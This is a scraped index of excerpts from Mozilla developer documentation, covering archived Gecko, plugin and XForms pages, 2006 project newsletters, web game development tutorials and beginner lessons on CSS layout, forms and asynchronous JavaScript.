** Notes ** - The Solution Quick Reference needs more attention. - I'm also looking for a way to organize all that information. - Some inline examples were removed because of technical limitations. They are actually replaced by ''-(EXAMPLE REMOVED)-'' The goal of this handbook is to help you update websites to work with standards-based browsers and properly detect Gecko. If you're new to standards, you may find Using Web Standards in Your Web Pages a helpful introduction. Gecko is an embeddable browser, developed as part of the Mozilla open source project and based on W3 Standards rather than the proprietary approaches of the past. Adhering to web standards simplifies cross-browser web development and enables accessibility. 4.x vs. Gecko Since 1997, much of the Web's content has be...
...test to the list (Tools | User Agent Switcher | Options | Options... | User Agents | Add...). Once you filled the dialog box (it should look like the screenshot below), click OK and close theOptions dialog. You can now start using the user-agent string you've just created by clicking Tools | User Agent Switcher |The name you have chosen. You can verify the string got changed by looking under Help | About. You can find the user agent strings of many Gecko-based browsers here. If possible, also download the actual clients (Netscape, AOL, CompuServe) for testing. Review Your Results The following scenarios all relate to browser detection. For more solutions to common problems please continue reading this handbook. Problem: Site supports standards but does not look right Try picking the...
2006-11-24 - Archive of obsolete content
1.8.4 on WinXP using Mingw32 November 20th: Joe is trying to build Xulrunner using the ming compiler on WindowsXP. However he has been unsuccessful and a bunch of errors. To view the Joe's error please check the posting. He is using make 3.80, working with the source tarball for xulrunner 1.8.4,running "make -f client.mk distclean" followed by "make -f client.mk build_all". Joe is asking for help on a possible solution to fix his problem. Building XPCOM components with MSVS 2005 November 21st: Buffaloaf is having trouble getting a personal XPCOM component to work under XulRunner when compiled with MSVS 2005. Luke is migrating all of his code to compile with vc8 and is having some problems. He is receiving the following error: Error: uncaught exception: [Exception... "Component retu...
...iling XulRunner with a static CRT is better or worse than compiling with the MSCVR80.DLL dependency. firefox 1.5 build on Windows with GTK2 November 23rd: Vin is trying to build Firefox 1.5.0.3 on Windows XP. The build is working properly with the default toolkit, but when he tries to add ac_add_options --enable-default-toolkit=gtk2 to his .mozconfig file he gets an error. Vin is asking for help on how to solve the error. Announcements SVG build dependency on cairo gfx on 11/22 November 21st: T Rowley announced that: he will be landing his patch that starts the process of switching SVG over to thebes (bug 354866). If you build dependencies with non-default toolkit or on a non tier-1 platform you'll need to disable SVG in your mozconfig. Gecko 1.9 intl rendering peformance Nove...
2006-10-13 - Archive of obsolete content
Announcements Sunbird and Lightning 0.3RC2 Sunbird and Lightning 0.3RC2 were released on October 7th. Firefox 1.5.0.x and Vista Firefox 1.5.0.x was added to the Vista compatibility list Firefox 2 RC3 Code Freeze The Firefox 2 RC3 code was frozen on Oct. ...
...9. (meeting notes) Bon Echo Status Meeting A Bon Echo status meeting was held on Oct. ...
2006-09-29 - Archive of obsolete content
ember 23-29, 2006 Announcements Litmus down because of hardware failure - we are working to fix it - The hardware that Litmus runs on failed over the weekend, so Litmus is still down. Zach Lipton is working to get us back in working order. Litmus should be back up and running soon. Discussions Extension Based Testing - Someone is in the process of writing a small extension that tests Firefox's help in terms of table-of-contents and search Looking for Firefox triagers to evaluate a triage tool - A PhD student is working on a way to assist triagers. He is looking for an approach to recommend to whom a bug report should be assigned (i.e. which developer(s) has/have the correct expertise for a particular bug report). He has a working web-based tool called Sibyl for providing both developer an...
...student is working on a way to assist triagers. He is looking for an approach to recommend to whom a bug report should be assigned (i.e. which developer(s) has/have the correct expertise for a particular bug report). He has a working web-based tool called Sibyl for providing both developer and component recommendations for bug reports. He is looking for triagers to try it and give him feedback. Help testing helper extension - Someone made a new extension. He needs help testing it out and wants to know how to make an iframe loads not go into the history. He also created a bug report to get rid of the help hooks in page info that lead nowhere. Meetings None Authors Mark D'Souza (mdsouza) Mohamed Attar (mojo) ...
Plugins - Archive of obsolete content
he cross-browser API for plugins. The main source of documentation for NPAPI is the Gecko Plugin API Reference. To make your plugin scriptable from web pages, use npruntime. Plugins can be written completely from scratch using C APIs (usually in C or C++) or they may be built on a plugin framework such as Firebreath, JUCE, or QtBrowserPlugin. There are also some code generation tools that may be helpful. More information about these tools can be found on the External Resources page. Plugins are different from extensions, which modify or enhance the functionality of the browser itself. Plugins are also different from search plugins, which plug additional search engines in the search bar. Gecko Plugin API Reference (NPAPI) This reference describes the application programming interfaces ...
...he functionality of the browser itself. Plugins are also different from search plugins, which plug additional search engines in the search bar. Gecko Plugin API Reference (NPAPI) This reference describes the application programming interfaces for NPAPI plugins and provides information about how to use these interfaces. Site Author Guide For Click-To-Activate Plugins These guidelines will help website authors use plugins when they are blocked by default with the Firefox click-to-activate feature. Scripting plugins (npruntime) This reference describes the new cross-browser NPAPI extensions that let plugins be scriptable and also let them access the script objects in the browser. Shipping a plugin as a Toolkit bundle Plugins can be shipped as a Toolkit bundle, allowing a user t...
contents.rdf - Archive of obsolete content
State that we work only with major version 1 of this package. --> <RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:browser"/> <RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:communicator"/> <RDF:Description chrome:skinVersion="1.5" about="urn:mozi...
...sion="1.5" about="urn:mozilla:skin:My_Theme:browser"/> <RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:communicator"/> <RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:global"/> <RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:mozapps"/> <RDF:Description chrome:skinVersion="1.5" about="urn:mozilla:skin:My_Theme:help"/> </RDF:RDF> ...
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
. In fact, the next JavaScript engine from Mozilla, TraceMonkey, is poised to boost JavaScript performance by factors of 20 to 40 times according to Brendan Eich, Mozilla CTO and the creator of JavaScript. In recent developments we also see the advent of other performant engines for JavaScript such as v8 from Google and squirrelfish for webKit, these engines are raising the bar on performance and help to maintain a competitive environment that will hopefully direct competitive focus on the performance aspect of all the major JavaScript implementations. There are currently two main JavaScript engines used server-side and both are from the minds at Mozilla: Mozilla Rhino and Mozilla SpiderMonkey. Rhino is a JavaScript interpreter written in Java that can also bridge Java...
...ackage which is just like using the import statement in Java. Here, we're including all the classes in the java.sql namespace in the script. The appropriate database driver for mySQL is loaded and the connection string to a database named rhino on my local machine is configured using the user account uRhino with the password of pRhino. The SQL statement is prepared, executed, and printed with the help of the metadata obtained from the resultset. Sample output is shown in Listing 2. id: 1 first_name: Sammy last_name: Hamm department: IT title: Network Administrator ---------- id: 2 first_name: Nigel last_name: Bitters department: Finance title: Accounting Manager ... It's clear to see that with just a few lines of code, we can easily take advantage of SQL data stores ...
Implementation Status - Archive of obsolete content
xforms-revalidate supported 4.3.4 xforms-refresh supported 4.3.5 xforms-reset supported 4.3.6 xforms-next xforms-previous supported 4.3.7 xforms-focus supported 4.3.8 xforms-help xforms-hint supported 4.3.9 xforms-submit partial see section 11.2 for more details 4.3.10 xforms-submit-serialize supported 4.4 Notification Events supported 4.4.1 xforms-insert supported ...
...rted 8.3.1 filename supported 8.3.2 mediatype supported 8.3.3 label partial Labels for items inside a choices element has bind problems. We'd like to expand how we render labels bound to different, unique types. 297083; 343443; 8.3.4 help supported 8.3.5 hint partial problems with hints in XUL-hosted documents and ephemeral message positioning 349667; 8.3.6 alert supported 9. Container Form Controls Section Title Status Notes Bugs 9.1.1 group supported...
Requests For Enhancement - Archive of obsolete content
Archive › Web › XForms › RFE
p or file a new bug in the 'XForms' component of the 'Core' product. An additional way to attract the XForms team's attention to an enhancement request you are promoting is to vote for the bug that is related with the feature request (if there is no bug yet then please feel free to file it). Then you can give a vote by clicking on the 'vote' link on the bug page. The XForms team looks at votes to help determine which bug is more important for our XForms users. RFE categories XForms API This section contains RFE to the XForms API. Custom Controls I think that XForms is a great way to show that 14 year old HTML hacks CAN build really powerful web apps and reduce the need for JavaScript by 90%. Now we need to start teaching XForms to web newcomers before they are brainwashed into believin...
...s then now XForms makes this for you automatically. Custom Controls Interfaces This section contains RFE to the custom control interfaces. If you find that you can't create a custom control due to limitations in our interfaces or the functionality of our controls, then this is the right place to pass along your requirements. Custom Controls If you have a custom control that you believe will help fulfill the needs of form authors or other custom controls authors, please file it here. This section could be of particular interest to people using custom controls in XUL documents for the following reasons: XUL, in many cases, is much better suited for application development than XHTML. Therefore the control set may need to be more extensive to address the wider spectrum of requirements tha...
Archive of obsolete content
e no longer current. Gecko Compatibility Handbook ** Notes ** - The Solution Quick Reference needs more attention. - I'm also looking for a way to organize all that information. - Some inline examples were removed because of technical limitations. They are actually replaced by ''-(EXAMPLE REMOVED)-'' The goal of this handbook is to help you update websites to work with standards-based browsers and properly detect Gecko. Getting the page URL in NPAPI plugin Sometimes, you want to restrict an NPAPI plugin to be loadable only from a certain URL or domain or scheme. Or whenever you make network requests yourself, you almost always need to enforce same-origin policy. Index of archiv...
...antage of being scriptable via LiveConnect in 4.x Netscape browsers lost this possibility in the new world. The main reason for this is that there is no guarantee of Java compatibility on a binary level due to the jri/jni switch. The new Mozilla XPCOM architecture allows XPCOM components be scriptable via a different mechanism called XPConnect. We leverage some of these ideas to help you make your Netscape Communicator 4.x plugins exposed to JavaScript in Mozilla based browsers. Plugins For more information about plugin roadmap, see non-archived plugin information. RSS Really Simple Syndication (RSS) is a popular HTML-like XML-based data format used for syndication. RSS has a sordid history and a multitude of different ...
Index - Game development
having to write a lot of JavaScript or GLSL. This article explains how to get up and running with A-Frame, and how to use it to build up a simple demo. 17 Building up a basic demo with Babylon.js 3D game engines, Babylon.js, Beginner, WebGL Babylon.js is one of the most popular 3D game engines used by developers. As with any other 3D library it provides built-in functions to help you implement common 3D functionality more quickly. In this article we'll take you through the real basics of using Babylon.js, including setting up a development environment, structuring the necessary HTML, and writing the JavaScript code. 18 Building up a basic demo with PlayCanvas 3D, Animation, Beginner, Canvas, Games, PlayCanvas, Tutorial, WebGL, camera, lighting, rendering ...
...n Beginner, Canvas, Games, JavaScript, Tutorial, scoring, winning Destroying the bricks is really cool, but to be even more awesome the game could award points for every brick a user hits, and keep count of the total score. 70 2D maze game with device orientation Canvas, Device Orientation API, Game Development, HTML5, Phaser, Vibration API I hope this tutorial will help you dive into 2D game development and inspire you to create awesome games on your own. You can play the demo game Cyber Orb and check out its source code on GitHub. 71 Touch Event Horizon NeedsContent, NeedsExample This tutorial shows how to use Touch Events to create a game on a <canvas>. This is a multi-player game relying on the Tap and Drag gestures. 72 Visual ...
Introduction to game development for the Web - Game development
++ using Emscripten to compile to JavaScript) Networking WebRTC and/or WebSockets Storage IndexedDB or the "cloud" Web HTML, CSS, SVG (and much more!) The business case As a game developer, whether you're an individual or a large game studio, you want to know why it makes sense to target the Web with your next game project. Let's look at how the Web can help you. The reach of the Web is enormous; it's everywhere. Games built with HTML5 work on smartphones, tablets, PCs and Smart TVs. Marketing and discoverability are improved. You're not limited to promoting your app on someone else's app store. Instead, you can advertise and promote your game all over the Web as well as other media, taking advantage of the Web's inherent linkability and sha...
...e <audio> element lets you easily play simple sound effects and music. If your needs are more involved, check out the Web Audio API for real audio processing power! IndexedDB A powerful data storage API for maintaining user data on their own computer or device. A great way to save game state and other information locally so it doesn't have to be downloaded every time it's needed. Also useful to help make your game playable even when the user isn't connected to the Web (such as when they're stuck on an airplane for hours on end). JavaScript JavaScript, the programming language used on the Web, is blazing fast in modern browsers and getting faster all the time. Use its power to write the code for your game, or look at using technologies like Emscripten or Asm.js to easily port your existing ...
Audio for Web games - Game development
nd this shouldn't be overridden. Buffering and preloading Likely as an attempt to mitigate runaway mobile network data use, we also often find that buffering is disabled before playback has been initiated. Buffering is the process of the browser downloading the media in advance, which we often need to do to ensure smooth playback. The HTMLMediaElement interface comes with lots of properties to help determine whether a track is in a state to be playable. Note: In many ways the concept of buffering is an outdated one. As long as byte-range requests are accepted (which is the default behavior), we should be able to jump to a specific point in the audio without having to download the preceding content. However, preloading is still useful -- without it, there would always need to be some clien...
... of an immersive gaming experience. The Web Audio API not only enables us to position a number of audio sources in three-dimensional space but it can also allow us to apply filters that make that audio appear more realistic. The pannerNode harnesses the positional capabilities of the Web Audio API so we can relate further information about the game world to the player. There's a tutorial here to help understand the pannerNode in better detail. We can relate: The position of objects The direction and movement of objects The environment (cavernous, underwater, etc.) This is especially useful in a three-dimensional environment rendered using WebGL, where the Web Audio API makes it possible to tie audio to the objects and viewpoints. See Also Web Audio API on MDN <audio> on MDN Deve...
Unconventional controls - Game development
Implementing mobile and desktop controls is recommended is a must, and gamepad controls add that extra experience. But imagine going even further -- in this article we will explore various unconventional ways to control your web game, some more unconventional than others. TV remote Playing games on a TV screen doesn't always have to be done through consoles. There's already a Gamepad API working on the desktop computers, so we can imitate the experience, but we can go even further. ...
... to first install it by following the steps at leapmotion.com/setup. When everything is installed and the controller is connected to your computer we can proceed with implementing support in our little demo. First, we add a <script> tag with the url pointing at this file, and add <div id="output"></div> just before the closing </body> tag for outputting diagnostic information. We will need a few helper variables for our code to work -- one for the purpose of calculating the degrees from radians, two for holding the horizontal and vertical amount of degrees our hand is leaning above the controller, one for the threshold of that lean, and one for the state of our hand's grab status. We next add these lines after all the event listeners for keyboard and mouse, but before the draw method: var to...
Square tilemaps implementation: Static maps - Game development
he tilemap data structure To store that map data, we can use a plain object or a custom class. For the sake of simplicity, in the example code a plain object has been used. It contains the basic map properties: cols: The width of the map, in columns. rows: The height of the map, in rows. tsize: The tile size, in pixels. tiles: A 1-dimensional array containing the visual grid. getTile(): A helper method that gets the tile index in a certain position. tiles contains the actual visual map data. We are representing the tiles with indices, assigned to the tiles dependant on their position in the atlas (e.g. 0 for the left-most tile.) However, we must account for empty tiles, since they are crucial for implementing layers -- empty tiles are usually assigned a negative index value, 0, or a ...
...most tile.) However, we must account for empty tiles, since they are crucial for implementing layers -- empty tiles are usually assigned a negative index value, 0, or a null value. In these examples, empty tiles will be represented by index 0, so we will shift the indices of the atlases by one (and thus the first tile of the atlas will be assigned index 1, the second index 2, etc.) The getTile() helper method returns the tile contained at the specified column and row. If tiles were a 2D matrix, then the returned value would just be tiles[column][row]. However, it's usually more common to represent the grid with a 1-dimensional array. In this case, we need to map the column and row to an array index: var index = row * map.cols + column; Wrapping up, an example of a tilemap object could look ...
Randomizing gameplay - Game development
d play with it to understand better how it works: Summary You've finished all the lessons -- congratulations! By this point you would have learnt the basics of Phaser and the logic behind simple 2D games. Exercises to follow You can do a lot more in the game -- add whatever you feel would be best to make it more fun and interesting. It's a basic intro scratching the surface of the countless helpful methods that Phaser provides. Below are some suggestions as to how you could expand our little game, to get you started: Add a second ball or paddle. Change the color of the background on every hit. Change the images and use your own. Grant extra bonus points if bricks are destroyed rapidly, several-in-a-row (or other bonuses of your choosing.) Create levels with different brick layouts...
...l or paddle. Change the color of the background on every hit. Change the images and use your own. Grant extra bonus points if bricks are destroyed rapidly, several-in-a-row (or other bonuses of your choosing.) Create levels with different brick layouts. Be sure to check the ever growing list of examples and the official documentation, and visit the HTML5 Gamedevs forums if you ever need any help. You could also go back to this tutorial series' index page. << Previous ...
2D breakout game using Phaser - Game development
a simple mobile MDN Breakout game written in JavaScript, using the Phaser framework. Every step has editable, live samples available to play with, so you can see what the intermediate stages should look like. You will learn the basics of using the Phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, framework-specific helper functions, animations and tweens, and winning and losing states. To get the most out of this series of articles you should already have basic to intermediate JavaScript knowledge. After working through this tutorial, you should be able to build your own simple Web games with Phaser. Lesson details All the lessons -- and the different versions of the MDN Breakout game we are building togeth...
...ar with pure JavaScript game development, we would suggest that you first work through this series' counterpart, 2D breakout game using pure JavaScript. After that, you can pick any framework you like and use it for your projects; we have chosen Phaser as it is a good solid framework, with a good support and community available, and a good set of plugins. Frameworks speed up development time and help take care of the boring parts, allowing you to concentrate on the fun stuff. However, frameworks are not always perfect, so if something unexpected happens or you want to write some functionality that the framework does not provide, you will need some pure JavaScript knowledge. Note: This series of articles can be used as material for hands-on game development workshops. You can also make use o...
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
ented directly at the lowest level of the language implementation. All primitives are immutable, i.e., they cannot be altered. It is important not to confuse a primitive itself with a variable assigned a primitive value. The variable may be reassigned a new value, but the existing value can not be changed in the ways that objects, arrays, and functions can be altered. Example This example will help you understand that primitive values are immutable. JavaScript // Using a string method doesn't mutate the string var bar = "baz"; console.log(bar); // baz bar.toUpperCase(); console.log(bar); // baz // Using an array method mutates the array var foo = []; console.log(foo); // [] foo.push("plugh"); console.log(foo); // ["plugh"] // Assig...
... // baz // Using an array method mutates the array var foo = []; console.log(foo); // [] foo.push("plugh"); console.log(foo); // ["plugh"] // Assignment gives the primitive a new (not a mutated) value bar = bar.toUpperCase(); // BAZ A primitive can be replaced, but it can't be directly altered. Another Example [ Step-by-step ] The following example will help you go through how JavaScript deals with primitives. JavaScript // The primitive let foo = 5; // Defining a function that should change the primitive value function addTwo(num) { num += 2; } // Another function trying to do the same thing function addTwo_v2(foo) { foo += 2; } // Calling our first function while passing our primitive as an argument addTwo(foo); // Getting the current pri...
Accessibility - Learn web development
We'll cover accessibility in special detail. ...
...gnificantly harm accessibility. This article outlines some CSS and JavaScript best practices that should be considered to ensure that even complex content is as accessible as possible. WAI-ARIA basics Following on from the previous article, sometimes making complex UI controls that involve unsemantic HTML and dynamic JavaScript-updated content can be difficult. WAI-ARIA is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. Here we'll show how to use it at a basic level to improve accessibility. Accessible multimedia Another category of content that can create accessibility problems is multimedia -- video, audio, and image content need to be given proper textual alter...
Grids - Learn web development
Introduction to HTML), and an idea of how CSS works (study Introduction to CSS and Styling boxes.) Objective: To understand the fundamental concepts behind grid layout systems, and how to implement a grid layout using CSS Grid. What is grid layout? A grid is a collection of horizontal and vertical lines creating a pattern against which we can line up our design elements. They help us to create designs where elements don't jump around or change width as we move from page to page, providing greater consistency on our websites. A grid will typically have columns, rows, and then gaps between each row and column -- commonly referred to as gutters. Creating your grid in CSS Having decided on the grid that your design needs, you can use CSS Grid Layout to create that grid in...
...te-columns: repeat(3, 1fr); grid-auto-rows: minmax(100px, auto); grid-gap: 20px; } If you add extra content you will see that the track expands to allow it to fit. Note that the expansion happens right along the row. As many columns as will fit We can combine some of the things we have learned about track listing, repeat notation and minmax() to create a useful pattern. Sometimes it is helpful to be able to ask grid to create as many columns as will fit into the container. We do this by setting the value of grid-template-columns using repeat() notation, but instead of passing in a number, pass in the keyword auto-fill. For the second parameter of the function we use minmax(), with a minimum value equal to the minimum track size that we would like to have, and a maximum of 1fr. Try ...
Introduction to CSS layout - Learn web development
3; } <div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> </div> Note: These two examples are just a small part of the power of Grid layout; to find out more see our Grid Layout article. The rest of this guide covers other layout methods, which are less important for the main layout structures of your page but can still help you achieve specific tasks. By understanding the nature of each layout task, you will soon find that when you look at a particular component of your design the type of layout best suited to it will often be clear. Floats Floating an element changes the behavior of that element and the block level elements that follow it in normal flow. The element is moved to the left or right and removed from ...
...ues Positioning allows you to move an element from where it would be placed when in normal flow to another location. Positioning isn't a method for creating your main page layouts, it is more about managing and fine-tuning the position of specific items on the page. There are however useful techniques for certain layout patterns that rely on the position property. Understanding positioning also helps in understanding normal flow, and what it is to move an item out of normal flow. There are five types of positioning you should know about: Static positioning is the default that every element gets -- it just means "put the element into its normal position in the document layout flow -- nothing special to see here". Relative positioning allows you to modify an element's position on the page...
Beginner's guide to media queries - Learn web development
in landscape orientation, use the following media query. @media (orientation: landscape) { body { color: rebeccapurple; } } Open this example in the browser, or view the source. A standard desktop view has a landscape orientation, and a design that works well in this orientation may not work as well when viewed on a phone or tablet in portrait mode. Testing for orientation can help you to create a layout which is optimised for devices in portrait mode. Use of pointing devices As part of the Level 4 specification, the hover media feature was introduced. This feature means you can test if the user has the ability to hover over an element, which essentially means they are using some kind of pointing device; touchscreen and keyboard navigation does not hover. @media (hover: ...
...evel 4 is the pointer media feature. This takes three possible values, none, fine and coarse. A fine pointer is something like a mouse or trackpad. It enables the user to precisely target a small area. A coarse pointer is your finger on a touchscreen. The value none means the user has no pointing device; perhaps they are navigating with the keyboard only or with voice commands. Using pointer can help you to design better interfaces that respond to the type of interaction a user is having with a screen. For example, you could create larger hit areas if you know that the user is interacting with the device as a touchscreen. More complex media queries With all of the different possible media queries, you may want to combine them, or create lists of queries -- any of which could be matched. "a...
Responsive design - Learn web development
om unwanted scrollbars to overly long line lengths, and poor use of space. As more diverse screen sizes became available, the concept of responsive web design (RWD) appeared, a set of practices that allows web pages to alter their layout and appearance to suit different screen widths, resolutions, etc. It is an idea that changed the way we design for a multi-device web, and in this article, we'll help you understand the main techniques you need to know to master it. Prerequisites: HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps and CSS building blocks.) Objective: To understand the fundamental concepts and history of responsive design. Historic website layouts At one point in history you had two options when designi...
...ow essentially just how we build websites by default. Consider the sites that you visit on your phone -- it is probably fairly unusual to come across a site that is the desktop version scaled down, or where you need to scroll sideways to find things. This is because the web has moved to this approach of designing responsively. It has also become much easier to achieve responsive designs with the help of the layout methods you have learned in these lessons. If you are new to web development today you have many more tools at your disposal than in the early days of responsive design. It is therefore worth checking the age of any materials you are referencing. While the historical articles are still useful, modern use of CSS and HTML makes it far easier to create elegant and useful designs, no ma...
CSS layout - Learn web development
ow to style boxes. Note: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin or Glitch. Guides These articles will provide instruction on the fundamental layout tools and techniques available in CSS. At the end of the lessons is an assessment to help you check your understanding of layout methods, by laying out a webpage. Introduction to CSS layout This article will recap some of the CSS layout features we've already touched upon in previous modules -- such as different display values -- and introduce some of the concepts we'll be covering throughout this module. Normal flow Elements on webpages lay themselves out according to normal fl...
...plains how to use this feature. Responsive design As more diverse screen sizes have appeared on web-enabled devices, the concept of responsive web design (RWD) has appeared: a set of practices that allows web pages to alter their layout and appearance to suit different screen widths, resolutions, etc. It is an idea that changed the way we design for a multi-device web, and in this article we'll help you understand the main techniques you need to know to master it. Beginner's guide to media queries The CSS Media Query gives you a way to apply CSS only when the browser and device environment matches a rule that you specify, for example "viewport is wider than 480 pixels". Media queries are a key part of responsive web design, as they allow you to create different layouts depending on the siz...
Styling lists - Learn web development
1.5; } dt { font-weight: bold; } The first rule sets a sitewide font and a baseline font size of 10px. These are inherited by everything on the page. Rules 2 and 3 set relative font sizes for the headings, different list types (the children of the list elements inherit these), and paragraphs. This means that each paragraph and list will have the same font size and top and bottom spacing, helping to keep the vertical rhythm consistent. Rule 4 sets the same line-height on the paragraphs and list items -- so the paragraphs and each individual list item will have the same spacing between lines. This will also help to keep the vertical rhythm consistent. Rules 5 and 6 apply to the description list -- we set the same line-height on the description list terms and descriptions as we did wit...
...at are not included are disc, none, and outside). If both a type and an image are specified, the type is used as a fallback if the image can't be loaded for some reason. Controlling list counting Sometimes you might want to count differently on an ordered list -- e.g. starting from a number other than 1, or counting backwards, or counting in steps of more than 1. HTML and CSS have some tools to help you here. start The start attribute allows you to start the list counting from a number other than 1. The following example: <ol start="4"> <li>Toast pita, leave to cool, then slice down the edge.</li> <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>Wash and chop the salad.</li> <li>Fill pita with salad, hummus, and fried halloumi.</li> </ol> Gi...
Web forms — Working with user data - Learn web development
Web forms are a very powerful tool for interacting with users -- most commonly they are used for collecting data from users, or allowing them to control a user interface. However, for historical and technical reasons it's not always obvious how to use them to their full potential. In the articles listed below, we'll cover all the essential aspects of Web forms including marking up their HTML structure, styling form controls, validating form data, and submitting data to the server. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. ...
...do-classes An introduction to the UI pseudo-classes enabling HTML form controls to be targeted based on their current state. Validating and submitting form data Client-side form validation Sending data is not enough -- we also need to make sure that the data users enter into forms is in the correct format to process it successfully, and that it won't break our applications. We also want to help our users to fill out our forms correctly and not get frustrated when trying to use our apps. Form validation helps us achieve these goals -- this article tells you what you need to know. Sending form data This article looks at what happens when a user submits a form -- where does the data go, and how do we handle it when it gets there? We also look at some of the security concerns associated w...
Publishing your website - Learn web development
ed IDE such as CodePen There are a number of web apps that emulate a website development environment, allowing you to enter HTML, CSS and JavaScript, and then display the result of that code as a website -- all in one browser tab. Generally speaking, these tools are relatively easy, great for learning, good for sharing code (for example, if you want to share a technique with or ask for debugging help from colleagues in a different office), and free (for basic features). They host your rendered page at a unique web address. However, the features are limited, and these apps usually don't provide hosting space for assets (like images). Try playing with some of these examples to find out which one works best for you: JSFiddle Glitch JS Bin CodePen Publishing via GitHub Now let's exami...
... Note: Make sure your folder has an index.html file. Navigate your browser to username.github.io to see your website online. For example, for the username chrisdavidmills, go to chrisdavidmills.github.io. Note: It may take a few minutes for your website to go live. If your website does not display immediately, wait a few minutes. Try again. To learn more, see GitHub Pages Help. Further reading What is a web server Understanding domain names How much does it cost to do something on the web? Deploy a Website: A nice tutorial from Codecademy that goes a bit further and shows some additional techniques. Cheap or Free Static Website Hosting by Scott Murray has some useful ideas on available services. Previous Overview: Getting started with the web Next In...
Document and website structure - Learn web development
hly 4-5% of the world population (in 2012 there were 285 million such people in the world, while the total population was around 7 billion). In your HTML code, you can mark up sections of content based on their functionality -- you can use elements that represent the sections of content described above unambiguously, and assistive technologies like screenreaders can recognise those elements and help with tasks like "find the main navigation", or "find the main content." As we mentioned earlier in the course, there are a number of consequences of not using the right element structure and semantics for the right job. To implement such semantic mark up, HTML provides dedicated tags that you can use to represent such sections, for example: header: <header>. navigation bar: <nav>. main cont...
...g</a></li> <li><a href="#">Oh well...</a></li> </ul> </aside> </main> <!-- And here is our main footer that is used across all the pages of our website --> <footer> <p>(C)Copyright 2050 by nobody. All rights reversed.</p> </footer> </body> </html> Take some time to look over the code and understand it -- the comments inside the code should also help you to understand it. We aren't asking you to do much else in this article, because the key to understanding document layout is writing a sound HTML structure, and then laying it out with CSS. We'll wait for this until you start to study CSS layout as part of the CSS topic. HTML layout elements in more detail It's good to understand the overall meaning of all the HTML sectioning elements in det...
Graceful asynchronous programming with Promises - Learn web development
s the handler you provide. As long as the app doesn't assume that streaming has begun, it can just keep on running. Note: You can learn more about this somewhat advanced topic, if you're interested, in the article Signaling and video calling. Code similar to this, but much more complete, is used in that example. The trouble with callbacks To fully understand why promises are a good thing, it helps to think back to old-style callbacks and to appreciate why they are problematic. Let's talk about ordering pizza as an analogy. There are certain steps that you have to take for your order to be successful, which doesn't really make sense to try to execute out of order, or in order but before each previous step has quite finished: You choose what toppings you want. This can take a while if y...
...s to control error handling exactly how we want. In a real app, your .catch() block could retry fetching the image, or show a default image, or prompt the user to provide a different image URL, or whatever. Note: You can see our version of the example live (see the source code also). Chaining the blocks together This is a very longhand way of writing this out; we've deliberately done this to help you understand what is going on clearly. As shown earlier on in the article, you can chain together .then() blocks (and also .catch() blocks). The above code could also be written like this (see also simple-fetch-chained.html on GitHub): fetch('coffee.jpg') .then(response => { if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } else { return response.blob...
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
// With a named function let myGreeting = setTimeout(function sayHi() { alert('Hello, Mr. Universe!'); }, 2000) // With a function defined separately function sayHi() { alert('Hello Mr. Universe!'); } let myGreeting = setTimeout(sayHi, 2000); That can be useful if you have a function that needs to be called both from a timeout and in response to an event, for example. But it can also just help keep your code tidy, especially if the timeout callback is more than a few lines of code. setTimeout() returns an identifier value that can be used to refer to the timeout later, such as when you want to stop it. See Clearing timeouts (below) to learn how to do that. Passing parameters to a setTimeout() function Any parameters that you want to pass to the function being run inside the setTimeo...
...traight afterwards. Clearing with clearTimeout() or clearInterval() clearTimeout() and clearInterval() both use the same list of entries to clear from. Interestingly enough, this means that you can use either method to clear a setTimeout() or setInterval(). For consistency, you should use clearTimeout() to clear setTimeout() entries and clearInterval() to clear setInterval() entries. This will help to avoid confusion. requestAnimationFrame() requestAnimationFrame() is a specialized looping function created for running animations efficiently in the browser. It is basically the modern version of setInterval() -- it executes a specified block of code before the browser next repaints the display, allowing an animation to be run at a suitable frame rate regardless of the environment it is bein...
Function return values - Learn web development
ement that states the square, cube, and factorial values of the number. The sentence calls the squared(), cubed(), and factorial() functions to calculate the required values. Save your code, load it in a browser, and try it out. Note: If you have trouble getting the example to work, feel free to check your code against the finished version on GitHub (see it running live also), or ask us for help. Now it's your turn! At this point, we'd like you to have a go at writing out a couple of functions of your own and adding them to the library. How about the square or cube root of the number? Or the circumference of a circle with a given radius? Some extra function related tips: Look at another example of writing error handling into functions. It is generally a good idea to check that any...
... ...
Fetching data from the server - Learn web development
ample, to display a new set of products or load a new page, you've got to load the entire page again. This is extremely wasteful and results in a poor user experience, especially as pages get larger and more complex. Enter Ajax This led to the creation of technologies that allow web pages to request small chunks of data (such as HTML, XML, JSON, or plain text) and display them only when needed, helping to solve the problem described above. This is achieved by using APIs like XMLHttpRequest or -- more recently -- the Fetch API. These technologies allow web pages to directly handle making HTTP requests for specific resources available on a server and formatting the resulting data as needed before it is displayed. Note: In the early days, this general technique was known as Asynchronous Java...
...ou are using). The object URL will be visible inside the address bar, and should be something like this: blob:http://localhost:7800/9b75250e-5279-e249-884f-d03eb1fd84f4 Challenge: An XHR version of the Can Store We'd like you to try converting the Fetch version of the app to use XHR as a useful bit of practice. Take a copy of the ZIP file, and try modifying the JavaScript as appropriate. Some helpful hints: You might find the XMLHttpRequest reference material useful. You will basically need to use the same pattern as you saw earlier in the XHR-basic.html example. You will, however, need to add the error handling we showed you in the Fetch version of the Can Store: The response is found in request.response after the load event has fired, not in a promise then(). About the best...
Object-oriented JavaScript for beginners - Learn web development
